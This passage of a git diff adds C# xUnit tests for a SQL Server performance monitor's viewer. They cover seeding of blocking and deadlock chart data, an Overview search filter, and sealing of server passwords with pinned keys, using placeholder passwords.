+                    await EventGridSeed.AddServerAsync(connection, NeitherServerId, "bl-neither", end.AddDays(-3), "wait_stats", end, clockOffsetMinutes: null, ct);
+                }
+
+                return new Store(scratch, new ViewerDataService(scratch.ConnectionString), end);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        private static async Task InsertBlockingAsync(NpgsqlConnection connection, int serverId, string serverName, DateTime firstUtc, DateTime lastUtc, CancellationToken ct)
+        {
+            await using var insert = new NpgsqlCommand("""
+                INSERT INTO collect.blocked_process_reports
+                    (blocked_report_id, collection_time, server_id, server_name, event_time, database_name, blocked_spid, blocking_spid, wait_time_ms)
+                SELECT row_number() OVER () + $5, t, $1, $2, t, 'LaneDb', 55, 56, 1000
+                FROM generate_series($3::timestamp, $4::timestamp, interval '1 hour') AS t
+                """, connection);
+            AddRange(insert, serverId, serverName, firstUtc, lastUtc);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        private static async Task InsertDeadlockAsync(NpgsqlConnection connection, int serverId, string serverName, DateTime firstUtc, DateTime lastUtc, CancellationToken ct)
+        {
+            await using var insert = new NpgsqlCommand("""
+                INSERT INTO collect.deadlocks
+                    (deadlock_id, collection_time, server_id, server_name, deadlock_time, victim_process_id, victim_sql_text, deadlock_graph_xml)
+                SELECT row_number() OVER () + $5, t, $1, $2, t, 'process1', 'SELECT 1', '<deadlock />'
+                FROM generate_series($3::timestamp, $4::timestamp, interval '1 hour') AS t
+                """, connection);
+            AddRange(insert, serverId, serverName, firstUtc, lastUtc);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        private static void AddRange(NpgsqlCommand insert, int serverId, string serverName, DateTime firstUtc, DateTime lastUtc)
+        {
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(serverName);
+            insert.Parameters.AddWithValue(QueryGridSeed.Naive(firstUtc));
+            insert.Parameters.AddWithValue(QueryGridSeed.Naive(lastUtc));
+            insert.Parameters.AddWithValue(Math.Abs((long)serverId) * 100_000L);
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await Viewer.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerOverviewBlockingLaneDataStartPinTests.cs b/Darling/Darling.Tests/ViewerOverviewBlockingLaneDataStartPinTests.cs
new file mode 100644
index 0000000000..117c9c75c0
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerOverviewBlockingLaneDataStartPinTests.cs
@@ -0,0 +1,85 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// How the Overview's blocking chart is wired to say where its data starts (#4966), read from the source because the control needs a
+/// window to run: the probes sit outside the charts' main <c>Task.WhenAll</c>, the note is fed from both series, and the banner is
+/// declared in an Auto row. The choice itself is in <c>ViewerOverviewBlockingLaneDataStartTests</c>.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class ViewerOverviewBlockingLaneDataStartPinTests
+{
+    private static string Code() => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "CorrelatedTimelineLanesControl.xaml.cs").ReplaceLineEndings("\n");
+
+    private static string Xaml() => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "CorrelatedTimelineLanesControl.xaml").ReplaceLineEndings("\n");
+
+    private static string Between(string source, string from, string to)
+    {
+        var start = source.IndexOf(from, StringComparison.Ordinal);
+        Assert.True(start >= 0, from + " was not found");
+        var end = source.IndexOf(to, start, StringComparison.Ordinal);
+        Assert.True(end > start, to + " was not found after " + from);
+        return source[start..end];
+    }
+
+    [Fact]
+    public void RefreshAsync_RunsTheNoteAfterTheLanesAreDrawn_AndKeepsTheProbesOutOfTheMainWhenAll()
+    {
+        var refresh = Between(Code(), "public async Task RefreshAsync(", "private async Task ShowBlockingLaneDataStartAsync(");
+
+        var whenAll = Between(refresh, "await Task.WhenAll(", ");");
+        Assert.DoesNotContain("DataStart", whenAll, StringComparison.Ordinal);
+        Assert.Contains("blockingTask", whenAll, StringComparison.Ordinal);
+
+        var drawn = refresh.IndexOf("UpdateBlockingLane(blockingData", StringComparison.Ordinal);
+        var note = refresh.IndexOf("await ShowBlockingLaneDataStartAsync(", StringComparison.Ordinal);
+        var axes = refresh.IndexOf("SyncXAxes(hoursBack", StringComparison.Ordinal);
+        Assert.True(drawn > 0 && axes > drawn && axes < note, "the charts are drawn and synced before the note's probes start");
+        Assert.DoesNotContain("DataStartAsync(_serverId", refresh, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheNote_IsFedFromBothSeries_ThroughTheProbesAndTheBarsDrawn_AndSkipsTheProbeOnAShortWindow()
+    {
+        var code = Code();
+        var call = Between(code, "await ShowBlockingLaneDataStartAsync(", ");");
+        Assert.Contains("blockingTask.Result.Select(d => d.Time)", call, StringComparison.Ordinal);
+        Assert.Contains("deadlockTask.Result.Select(d => d.Time)", call, StringComparison.Ordinal);
+
+        var step = Between(code, "private async Task ShowBlockingLaneDataStartAsync(", "private void UpdateBlockingLane(");
+        Assert.Contains("endUtc - startUtc > DurationTrendRouting.TruncationSlack", step, StringComparison.Ordinal);
+        Assert.Contains("_dataService!.GetBlockingChartDataStartAsync(_serverId, startUtc, endUtc)", step, StringComparison.Ordinal);
+        Assert.Contains("_dataService!.GetDeadlocksDataStartAsync(_serverId, startUtc, endUtc)", step, StringComparison.Ordinal);
+        Assert.Contains("ViewerBlockingLaneDataStart.ChooseAsync(blockingProbe, deadlockProbe, blockingBars, deadlockBars)", step, StringComparison.Ordinal);
+        Assert.Contains("ViewerServerTab.UpdateTruncationBanner(BlockingLaneDataStartBanner, start, startUtc)", step, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheBanner_IsDeclaredInAnAutoRowAboveTheChart_StyledLikeTheTabsNotes()
+    {
+        var chart = Between(Xaml(), "<!-- Lane 3: Blocking -->", "<!-- Lane 4");
+        Assert.Contains("<RowDefinition Height=\"Auto\"/>", chart, StringComparison.Ordinal);
+        Assert.Matches(@"x:Name=""BlockingLaneDataStartBanner""\s+Visibility=""Collapsed""", chart);
+        Assert.Contains("Background=\"#22FFAA00\"", chart, StringComparison.Ordinal);
+        Assert.Contains("<ScottPlot:WpfPlot Grid.Row=\"1\" Grid.Column=\"1\" x:Name=\"BlockingChart\"/>", chart, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheOtherLanes_GetNoNote()
+    {
+        Assert.Single(Regex.Matches(Xaml(), "DataStartBanner"));
+        Assert.Equal(2, Regex.Matches(Code(), @"DataStartAsync\(_serverId").Count);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerOverviewBlockingLaneDataStartTests.cs b/Darling/Darling.Tests/ViewerOverviewBlockingLaneDataStartTests.cs
new file mode 100644
index 0000000000..bf532ee3c5
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerOverviewBlockingLaneDataStartTests.cs
@@ -0,0 +1,63 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading.Tasks;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// What the Overview's blocking chart names as its data start (#4966): the later of its two series' starts, each the earlier of the
+/// series' coverage and its earliest bar drawn. Pure logic, so no store and no WPF object is needed.
+/// </summary>
+public sealed class ViewerOverviewBlockingLaneDataStartTests
+{
+    private static readonly DateTime Day = new(2026, 9, 10, 0, 0, 0, DateTimeKind.Utc);
+
+    private static Task<DateTime?> Answer(DateTime? start) => Task.FromResult(start);
+
+    private static readonly DateTime[] NoBars = [];
+
+    [Fact]
+    public async Task TwoStarts_NameTheLaterOne_WhicheverSeriesHasIt()
+    {
+        Assert.Equal(Day.AddDays(2), await ViewerBlockingLaneDataStart.ChooseAsync(Answer(Day.AddDays(2)), Answer(Day), NoBars, NoBars));
+        Assert.Equal(Day.AddDays(2), await ViewerBlockingLaneDataStart.ChooseAsync(Answer(Day), Answer(Day.AddDays(2)), NoBars, NoBars));
+    }
+
+    [Fact]
+    public async Task OneAnswer_IsNamed_AndNeitherNamesNothing()
+    {
+        Assert.Equal(Day.AddDays(1), await ViewerBlockingLaneDataStart.ChooseAsync(Answer(Day.AddDays(1)), Answer(null), NoBars, NoBars));
+        Assert.Equal(Day.AddDays(1), await ViewerBlockingLaneDataStart.ChooseAsync(Answer(null), Answer(Day.AddDays(1)), NoBars, NoBars));
+        Assert.Null(await ViewerBlockingLaneDataStart.ChooseAsync(Answer(null), Answer(null), NoBars, NoBars));
+    }
+
+    /* The event-time rule: a bar earlier than the series' coverage moves that series' start back; the chart still names the later series. */
+    [Fact]
+    public async Task ABarBeforeTheCoverage_MovesThatSeriesStartBack()
+    {
+        Assert.Equal(Day.AddDays(2), await ViewerBlockingLaneDataStart.ChooseAsync(
+            Answer(Day.AddDays(2)), Answer(Day.AddDays(3)), NoBars, [Day.AddDays(1), Day.AddDays(4)]));
+        Assert.Equal(Day.AddDays(1), await ViewerBlockingLaneDataStart.ChooseAsync(
+            Answer(null), Answer(Day.AddDays(3)), [Day.AddDays(1)], [Day.AddDays(1)]));
+        /* No coverage anywhere but a bar drawn: the bar names the start. */
+        Assert.Equal(Day.AddHours(5), await ViewerBlockingLaneDataStart.ChooseAsync(Answer(null), Answer(null), [Day.AddHours(5), Day.AddHours(9)], NoBars));
+    }
+
+    /* A probe that throws costs only its series: the other still answers, and two that throw name nothing, even with bars drawn. */
+    [Fact]
+    public async Task AProbeThatThrows_DropsItsSeries_AndNeverThrowsOut()
+    {
+        var failed = Task.FromException<DateTime?>(new InvalidOperationException("the store went away"));
+        Assert.Equal(Day.AddDays(2), await ViewerBlockingLaneDataStart.ChooseAsync(failed, Answer(Day.AddDays(2)), [Day], NoBars));
+        Assert.Null(await ViewerBlockingLaneDataStart.ChooseAsync(failed, Task.FromException<DateTime?>(new TimeoutException()), [Day], [Day]));
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerOverviewExplainsItselfTests.cs b/Darling/Darling.Tests/ViewerOverviewExplainsItselfTests.cs
index 5cc26e8ea8..3861dc513c 100644
--- a/Darling/Darling.Tests/ViewerOverviewExplainsItselfTests.cs
+++ b/Darling/Darling.Tests/ViewerOverviewExplainsItselfTests.cs
@@ -464,6 +464,9 @@ public void TheRankingCap_StaysShort_BecauseTheOverflowNowHasSomewhereToGo()
     private static string CodeBehind => ReadRepoFile(Path.Combine(
         "Darling", "PerformanceMonitor.Darling.Viewer", "MainWindow.xaml.cs"));
 
+    private static string OverviewCardViewSource => ReadRepoFile(Path.Combine(
+        "Darling", "PerformanceMonitor.Darling.Viewer", "OverviewCardView.cs"));
+
     /// <summary>
     /// The card's status actually carries the tooltip. <c>Background="Transparent"</c> is load-bearing rather than
     /// decorative: a TextBlock with a null Background hit-tests on its rendered glyphs alone, so the tooltip would
@@ -511,7 +514,9 @@ public void TheFilter_IsClearable_AndItsActiveStateIsVisible()
         Assert.Contains("x:Name=\"OverviewAttentionCountText\"", Xaml, StringComparison.Ordinal);
 
         Assert.Contains("OverviewAttentionOnlyCheck_Changed(object sender", CodeBehind, StringComparison.Ordinal);
-        Assert.Contains("FleetRollup.AttentionFilterCountText(", CodeBehind, StringComparison.Ordinal);
+        /* #5352: the count line moved into OverviewCardView.CountText, which still delegates to the same helper. */
+        Assert.Contains("OverviewCardView.CountText(", CodeBehind, StringComparison.Ordinal);
+        Assert.Contains("FleetRollup.AttentionFilterCountText(", OverviewCardViewSource, StringComparison.Ordinal);
 
         /* The colour follows the sentence: this line says either "N servers need attention" or an all-clear, and
            painting the all-clear amber would be a colour contradicting its own text — the same defect in
@@ -528,7 +533,9 @@ miniature. Raised in review on #2429. */
     [Fact]
     public void TheGrid_IsProjectedThroughTheFilter_AndNothingReadsTheBoundListBack()
     {
-        Assert.Contains("FleetRollup.NeedsAttention(_overviewCards)", CodeBehind, StringComparison.Ordinal);
+        /* #5352: the projection (needs-attention AND search) moved into OverviewCardView.Project. */
+        Assert.Contains("OverviewCardView.Project(_overviewCards, _overviewAttentionOnly,", CodeBehind, StringComparison.Ordinal);
+        Assert.Contains("FleetRollup.NeedsAttention(cards)", OverviewCardViewSource, StringComparison.Ordinal);
         Assert.Contains("_overviewCards = cards;", CodeBehind, StringComparison.Ordinal);
 
         Assert.DoesNotContain("OverviewItemsControl.ItemsSource is IEnumerable<ServerSummaryItem>", CodeBehind, StringComparison.Ordinal);
diff --git a/Darling/Darling.Tests/ViewerOverviewSearchTests.cs b/Darling/Darling.Tests/ViewerOverviewSearchTests.cs
new file mode 100644
index 0000000000..6e1a113723
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerOverviewSearchTests.cs
@@ -0,0 +1,149 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5352: the viewer's Overview gets Lite's server-name / tag search. The composition (search AND the
+/// needs-attention toggle) lives in the pure <see cref="OverviewCardView"/> so it is testable without WPF; the
+/// source pins show the XAML box is wired to the one projection point.
+/// </summary>
+[Trait("Reads", "Lite")]
+public sealed class ViewerOverviewSearchTests
+{
+    private static ServerSummaryItem Card(string name, int id, bool online = true, params string[] tags) =>
+        new()
+        {
+            DisplayName = name,
+            ServerName = name + ".corp",
+            ServerId = id,
+            IsOnline = online,
+            TagPills = tags.Select(t => new ServerTagPill(t, null)).ToList(),
+        };
+
+    private static List<ServerSummaryItem> Fleet() => new()
+    {
+        Card("alpha", 1, true, "Production"),
+        Card("beta", 2, false, "Production"),   // Offline -> needs attention
+        Card("gamma", 3, true, "Dev"),
+        Card("delta-PROD", 4, false),           // Offline, name-only match
+        Card("epsilon", 5, false, "Dev"),       // Offline, not a prod match: the intersection must drop it
+    };
+
+    private static List<string> Names(IEnumerable<ServerSummaryItem> cards) => cards.Select(c => c.DisplayName).ToList();
+
+    [Fact]
+    public void Search_MatchesATagName()
+    {
+        Assert.Equal(new[] { "alpha", "beta", "delta-PROD" }, Names(OverviewCardView.Project(Fleet(), false, "prod")));
+    }
+
+    [Fact]
+    public void Search_MatchesTheServerOrInstanceName_CaseInsensitively()
+    {
+        Assert.Equal(new[] { "gamma" }, Names(OverviewCardView.Project(Fleet(), false, "GAMMA")));
+        Assert.Equal(new[] { "alpha" }, Names(OverviewCardView.Project(Fleet(), false, "ALPHA.CORP")));
+    }
+
+    [Fact]
+    public void EmptyOrBlankSearch_ShowsEveryCard_InTheCallersOrder()
+    {
+        var fleet = Fleet();
+        Assert.Equal(Names(fleet), Names(OverviewCardView.Project(fleet, false, "")));
+        Assert.Equal(Names(fleet), Names(OverviewCardView.Project(fleet, false, "   ")));
+        Assert.Equal(Names(fleet), Names(OverviewCardView.Project(fleet, false, null)));
+    }
+
+    [Fact]
+    public void SearchAndAttentionOnly_AreTheIntersection()
+    {
+        // "prod" matches alpha, beta, delta-PROD; attention-only keeps the offline ones.
+        Assert.Equal(new[] { "beta", "delta-PROD" }, Names(OverviewCardView.Project(Fleet(), true, "prod")));
+        Assert.Equal(new[] { "beta", "delta-PROD", "epsilon" }, Names(OverviewCardView.Project(Fleet(), true, null)));
+    }
+
+    [Fact]
+    public void NoMatch_ReturnsNone_AndTheLineIsTheNoMatchSentence_NotTheAllClear()
+    {
+        var fleet = Fleet();
+        var shown = OverviewCardView.Project(fleet, false, "zzz");
+        Assert.Empty(shown);
+        Assert.Equal(ServerOverviewFilter.NoMatchText, OverviewCardView.CountText(fleet, shown.Count, false, "zzz"));
+
+        // With the toggle on as well, the all-clear ("all N servers are healthy") must still not appear.
+        shown = OverviewCardView.Project(fleet, true, "zzz");
+        Assert.Empty(shown);
+        var text = OverviewCardView.CountText(fleet, shown.Count, true, "zzz");
+        Assert.Equal(ServerOverviewFilter.NoMatchText, text);
+        Assert.DoesNotContain("healthy", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AttentionOnly_WhereTheSearchMatchedOnlyHealthyCards_DoesNotClaimNoMatch()
+    {
+        var fleet = Fleet();
+        var shown = OverviewCardView.Project(fleet, true, "gamma");
+        Assert.Empty(shown);
+        var text = OverviewCardView.CountText(fleet, shown.Count, true, "gamma");
+        Assert.Equal("No server matching the search needs attention.", text);
+        Assert.NotEqual(ServerOverviewFilter.NoMatchText, text);
+    }
+
+    [Fact]
+    public void CountText_IsUnchangedWithoutASearch_AndAbsentWhenNothingNarrowsTheGrid()
+    {
+        var fleet = Fleet();
+        Assert.Null(OverviewCardView.CountText(fleet, fleet.Count, false, null));
+        Assert.Equal("showing 3 of 5", OverviewCardView.CountText(fleet, 3, true, null));
+        Assert.Equal("showing 3 of 5", OverviewCardView.CountText(fleet, 3, false, "prod"));
+        Assert.Equal("no servers to filter", OverviewCardView.CountText(new List<ServerSummaryItem>(), 0, true, null));
+        Assert.Null(OverviewCardView.CountText(new List<ServerSummaryItem>(), 0, false, "x"));
+    }
+
+    // ── wiring, which only source can show ──────────────────────────────────────────────────────────
+
+    private static string Xaml => ReadRepoFile(System.IO.Path.Combine(
+        "Darling", "PerformanceMonitor.Darling.Viewer", "MainWindow.xaml"));
+
+    private static string CodeBehind => ReadRepoFile(System.IO.Path.Combine(
+        "Darling", "PerformanceMonitor.Darling.Viewer", "MainWindow.xaml.cs"));
+
+    [Fact]
+    public void ViewerXaml_HasTheSearchBox_WiredToTheOneProjectionPoint()
+    {
+        Assert.Contains("x:Name=\"OverviewSearchBox\"", Xaml, StringComparison.Ordinal);
+        Assert.Contains("TextChanged=\"OverviewSearchBox_TextChanged\"", Xaml, StringComparison.Ordinal);
+        Assert.Contains("Filter the Overview by server name or tag", Xaml, StringComparison.Ordinal);
+        Assert.Contains("server name / tag", Xaml, StringComparison.Ordinal);
+
+        var at = CodeBehind.IndexOf("void OverviewSearchBox_TextChanged(", StringComparison.Ordinal);
+        Assert.True(at >= 0, "the handler must exist");
+        var body = CodeBehind.Substring(at, 160);
+        Assert.Contains("ApplyOverviewCardFilter()", body, StringComparison.Ordinal);
+
+        /* The projection reads the box, so every refresh path through ApplyOverviewCardFilter keeps the search. */
+        Assert.Contains("OverviewCardView.Project(_overviewCards, _overviewAttentionOnly, OverviewSearchBox?.Text)",
+            CodeBehind, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Lite_ShowsTheSameNoMatchSentence()
+    {
+        var lite = ReadRepoFile(System.IO.Path.Combine("Lite", "MainWindow.xaml.cs"));
+        Assert.Contains("ServerOverviewFilter.NoMatchText", lite, StringComparison.Ordinal);
+        Assert.Contains("OverviewCardView.CountText(", CodeBehind, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerPasswordKeyTests.cs b/Darling/Darling.Tests/ViewerPasswordKeyTests.cs
new file mode 100644
index 0000000000..8ab5347628
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerPasswordKeyTests.cs
@@ -0,0 +1,439 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Security.Cryptography;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The key the viewer seals server passwords with (#5366): when it may seal, the saved key per store, and what a
+/// sealed value is bound to. The decision is pure, so no store and no window is needed.
+/// </summary>
+public sealed class ViewerPasswordKeyTests : IDisposable
+{
+    private const string Store = "alpha-store:5432/pm";
+
+    private readonly string _directory = Directory.CreateTempSubdirectory("darling-pins-").FullName;
+    private readonly PasswordPrivateKey _key = PasswordPrivateKey.Generate();
+
+    public void Dispose()
+    {
+        _key.Dispose();
+        try { Directory.Delete(_directory, recursive: true); } catch { /* best-effort */ }
+    }
+
+    private string PinsPath => Path.Combine(_directory, "pins.json");
+
+    private static PublishedPasswordKey Published(PasswordPrivateKey key) =>
+        new(key.PublicKey.KeyId, key.PublicKey.Spki, PasswordSeal.Algorithm);
+
+    private static PasswordKeyServiceState State(string state, string? note = null, string? keyId = null) =>
+        new("alpha-host", keyId, state, note, DateTime.UtcNow);
+
+    private static PasswordKeyServiceState Ok(PasswordPrivateKey key) => State("ok", null, key.PublicKey.KeyId);
+
+    private static MonitoredServerRow Row(string host, bool trust = false) => new()
+    {
+        ServerId = 1, Name = host, Host = host, Auth = "sql", Username = "monitor", EncryptMode = "Mandatory",
+        TrustServerCertificate = trust,
+    };
+
+    [Fact]
+    public void AMissingServiceState_RefusesWithTheServicesNote()
+    {
+        var decision = ViewerPasswordKey.Evaluate(
+            Published(_key), State("missing", "The key file was not found."), Store, new ViewerPasswordKeyPins(PinsPath));
+
+        Assert.Null(decision.Key);
+        Assert.Contains("missing", decision.Refusal, StringComparison.Ordinal);
+        Assert.Contains("The key file was not found.", decision.Refusal, StringComparison.Ordinal);
+        Assert.False(File.Exists(PinsPath));
+    }
+
+    [Fact]
+    public void NoPublishedKey_NoState_AndAMismatchedKeyId_AllRefuse()
+    {
+        var pins = new ViewerPasswordKeyPins(PinsPath);
+
+        Assert.Equal(ViewerPasswordKey.NoKeyText, ViewerPasswordKey.Evaluate(null, Ok(_key), Store, pins).Refusal);
+        Assert.Equal(ViewerPasswordKey.NoStateText, ViewerPasswordKey.Evaluate(Published(_key), null, Store, pins).Refusal);
+        var wrongId = new PublishedPasswordKey("0000000000000000", _key.PublicKey.Spki, PasswordSeal.Algorithm);
+        Assert.Equal(ViewerPasswordKey.InvalidKeyText, ViewerPasswordKey.Evaluate(wrongId, Ok(_key), Store, pins).Refusal);
+        Assert.False(File.Exists(PinsPath));
+    }
+
+    [Fact]
+    public void TheFirstConnect_SavesTheKey_AndSaysItOnce()
+    {
+        var pins = new ViewerPasswordKeyPins(PinsPath);
+
+        var first = ViewerPasswordKey.Evaluate(Published(_key), Ok(_key), Store, pins);
+        var second = ViewerPasswordKey.Evaluate(Published(_key), Ok(_key), Store, pins);
+
+        Assert.NotNull(first.Key);
+        Assert.Equal(
+            "This store's password key is " + PasswordSeal.DisplayKeyId(_key.PublicKey.KeyId)
+            + ". It should match the 'Password key' line in the service log.",
+            first.Notice);
+        Assert.NotNull(second.Key);
+        Assert.Null(second.Notice);
+        Assert.Equal(Convert.ToHexString(_key.PublicKey.Fingerprint).ToLowerInvariant(), pins.Find(Store, out _));
+    }
+
+    [Fact]
+    public void AChangedKey_RefusesUntilTrusted_AndNamesBothKeys()
+    {
+        var pins = new ViewerPasswordKeyPins(PinsPath);
+        Assert.NotNull(ViewerPasswordKey.Evaluate(Published(_key), Ok(_key), Store, pins).Key);
+
+        using var replacement = PasswordPrivateKey.Generate();
+        var decision = ViewerPasswordKey.Evaluate(Published(replacement), Ok(replacement), Store, pins);
+
+        Assert.Null(decision.Key);
+        Assert.NotNull(decision.Change);
+        Assert.Contains(PasswordSeal.DisplayKeyId(_key.PublicKey.KeyId), decision.Refusal, StringComparison.Ordinal);
+        Assert.Contains(PasswordSeal.DisplayKeyId(replacement.PublicKey.KeyId), decision.Refusal, StringComparison.Ordinal);
+        Assert.Contains("Trust the new key", decision.Refusal, StringComparison.Ordinal);
+        /* Asking again changes nothing: the saved key stays until the operator trusts the new one. */
+        Assert.Null(ViewerPasswordKey.Evaluate(Published(replacement), Ok(replacement), Store, pins).Key);
+
+        /* Trusting replaces the saved key; the new key then seals without asking. */
+        pins.Save(Store, decision.Change!.NewKey.Fingerprint, decision.Change.NewKey.KeyId);
+        var trusted = ViewerPasswordKey.Evaluate(Published(replacement), Ok(replacement), Store, pins);
+        Assert.NotNull(trusted.Key);
+        Assert.Null(trusted.Notice);
+    }
+
+    [Fact]
+    public void AnotherStoreHasItsOwnSavedKey()
+    {
+        var pins = new ViewerPasswordKeyPins(PinsPath);
+        Assert.NotNull(ViewerPasswordKey.Evaluate(Published(_key), Ok(_key), Store, pins).Key);
+
+        using var other = PasswordPrivateKey.Generate();
+        var decision = ViewerPasswordKey.Evaluate(Published(other), Ok(other), "beta-store:5432/pm", pins);
+
+        Assert.NotNull(decision.Key);
+        Assert.Null(decision.Change);
+    }
+
+    [Fact]
+    public void AnUnreadableSavedList_CountsAsNoSavedKeys_AndTheNoticeSaysSo()
+    {
+        File.WriteAllText(PinsPath, "{ not a list");
+        var pins = new ViewerPasswordKeyPins(PinsPath);
+
+        var decision = ViewerPasswordKey.Evaluate(Published(_key), Ok(_key), Store, pins);
+
+        Assert.NotNull(decision.Key);
+        Assert.Contains(ViewerPasswordKey.UnreadablePinsText, decision.Notice, StringComparison.Ordinal);
+        Assert.NotNull(pins.Find(Store, out var unreadable));
+        Assert.False(unreadable);
+    }
+
+    [Theory]
+    [InlineData("Host=Alpha-Store ;Port=5641;Database=pm", "alpha-store:5641/pm")]
+    [InlineData("Host=alpha-store;Database=pm", "alpha-store:5432/pm")]
+    public void TheStoreIdentity_IsHostLowerCased_PortAndDatabase(string connectionString, string expected)
+    {
+        Assert.Equal(expected, ViewerPasswordKey.StoreIdentityOf(connectionString));
+    }
+
+    [Fact]
+    public void ASealedPassword_OpensOnlyForItsOwnConnectionSettings()
+    {
+        var sealer = new ViewerPasswordSealer(_key.PublicKey);
+        var row = Row("alpha-sql");
+
+        var sealedText = sealer.Seal("p@ss-not-real", row);
+
+        Assert.Equal("p@ss-not-real", PasswordSeal.Open(sealedText, _key, ViewerPasswordSealer.BindingOf(row)));
+        foreach (var changed in new[] { Row("beta-sql"), Row("alpha-sql", trust: true) })
+        {
+            Assert.Throws<PasswordSealException>(() => PasswordSeal.Open(sealedText, _key, ViewerPasswordSealer.BindingOf(changed)));
+        }
+    }
+
+    [Fact]
+    public void ATrustCertificateChange_IsAChangeOfHowTheServerIsReached()
+    {
+        var stored = ViewerPasswordSealer.IdentityOf(Row("alpha-sql"));
+        var changed = ViewerPasswordSealer.IdentityOf(Row("alpha-sql", trust: true));
+
+        Assert.True(ServerConnectionIdentity.Differ(changed, stored));
+        Assert.False(ServerConnectionIdentity.Differ(stored, ViewerPasswordSealer.IdentityOf(Row("alpha-sql"))));
+    }
+
+    [Fact]
+    public void APasswordThatIsNotValidText_IsRefusedWithAPlainSentence_NeverEchoed()
+    {
+        var sealer = new ViewerPasswordSealer(_key.PublicKey);
+        var bad = "p@ss\uD800-not-real";
+
+        var ex = Assert.Throws<ViewerPasswordRefusedException>(() => sealer.Seal(bad, Row("alpha-sql")));
+
+        Assert.Equal("The password contains characters that cannot be stored.", ex.Message);
+        Assert.DoesNotContain("p@ss", ex.Message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AConnectionFieldThatIsNotValidText_IsRefusedByItsName()
+    {
+        var sealer = new ViewerPasswordSealer(_key.PublicKey);
+        var row = Row("alpha-sql");
+        row.Database = "pm\uDC00";
+
+        var ex = Assert.Throws<ViewerPasswordRefusedException>(() => sealer.Seal("p@ss-not-real", row));
+
+        Assert.Equal("The database name contains characters that cannot be stored.", ex.Message);
+    }
+
+    [Fact]
+    public void TheSealCache_SealsOnceForTheSameSettings_AndAgainWhenTheyChange()
+    {
+        var sealer = new ViewerPasswordSealer(_key.PublicKey);
+        var cache = new ViewerSealCache();
+
+        var first = cache.GetOrSeal(sealer, "p@ss-not-real", Row("alpha-sql"));
+        var again = cache.GetOrSeal(sealer, "p@ss-not-real", Row("alpha-sql"));
+        var moved = cache.GetOrSeal(sealer, "p@ss-not-real", Row("beta-sql"));
+        var otherPassword = cache.GetOrSeal(sealer, "p@ss-other-fake", Row("beta-sql"));
+
+        Assert.Equal(first, again);
+        Assert.NotEqual(first, moved);
+        Assert.NotEqual(moved, otherPassword);
+    }
+
+    [Fact]
+    public void TheSealCache_TellsApartSettingsWhoseFieldTextRunsTogether()
+    {
+        var sealer = new ViewerPasswordSealer(_key.PublicKey);
+        var cache = new ViewerSealCache();
+        var one = Row("alpha-sql");
+        one.Username = "monitor\u001Fmandatory";
+        one.EncryptMode = "optional";
+        var other = Row("alpha-sql");
+        other.Username = "monitor";
+        other.EncryptMode = "mandatory\u001Foptional";
+
+        var first = cache.GetOrSeal(sealer, "p@ss-not-real", one);
+        var second = cache.GetOrSeal(sealer, "p@ss-not-real", other);
+
+        /* Sealing again gives new text, so a cache hit would hand back the first value for the second settings. */
+        Assert.NotEqual(first, second);
+    }
+
+    [Theory]
+    [InlineData("AddServerDialog.xaml.cs")]
+    [InlineData("AddMultipleServersDialog.xaml.cs")]
+    [InlineData("ViewerServerMigration.cs")]
+    [InlineData("ViewerDataService.MonitoredServers.cs")]
+    [InlineData("ViewerPasswordKey.cs")]
+    public void TheViewersServerPaths_WriteNoDpapiBlob_AndNoLongerUseTheOldConnectionRule(string file)
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file);
+
+        Assert.DoesNotContain("ViewerServerSecret.", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("ProtectedData.Protect(", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("ConnectionSettingsDiffer", source, StringComparison.Ordinal);
